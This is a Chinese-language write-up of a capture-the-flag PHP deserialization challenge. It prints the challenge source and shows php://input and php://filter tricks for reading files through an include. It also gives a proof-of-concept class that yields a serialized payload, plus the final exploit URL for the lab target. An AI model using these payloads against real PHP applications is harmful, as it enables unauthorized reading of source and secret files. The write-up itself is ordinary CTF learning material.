xctf一道反序列化題

題目地址：http://120.24.86.145:8006/test1/

右鍵get源碼：

<?php
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  

剛開始我是遠程在我服務器上寫一個txt內容為"welcome to the bugkuctf"但是測試了好像是不行。既然不行又可寫入數據的那就聯想到了php偽協議當中的php://input

再回去看最開始的代碼。如下第十行

是一個包含函數，也可以使用偽協議那就使用filter去讀取當中文件吧。那就讀取hint.php試試

BASE64解密得到如下代碼：

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>   

很明顯是一個反序列化讀取的漏洞。但是好像沒有可控的參數。但是有提示一個flag.php

然后直接構造去讀取flag.php

然后繼續嘗試讀取index.php

index.php代碼如下：

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->   

由上代碼可知：

1. file參數當中不允許出現flag
2. 12-13行代碼中可以看出。password可控.

整體思路就有了，那就是通過這個反序列化漏洞去讀取flag.php

於是乎構造這個反序列化漏洞的POC如下：

<?php 
class Flag{
    public $file="php://filter/convert.base64-encode/resource=flag.php";
    public function __tostruct(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
    }
}
$o = new Flag();
echo serialize($o);

第三行的時候我直接填寫flag.php。又在此處被坑。

原因如下：

1. 在剛才index.php代碼中說file參數不能有flag，最后嘗試才知道要讀取flag。file還不能使用偽協議。既然不能用就沒辦法讀取flag.php了，所以這個反序列化就要跟上偽協議，才能讀取出flag.php

file參數不能為flag.php那就去嘗試，最后嘗試得出file參數為hint.php加上password參數的payload就可以getflag

依舊是base64加密的解密一下就好了。

最后還是把payload發出來吧。

http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}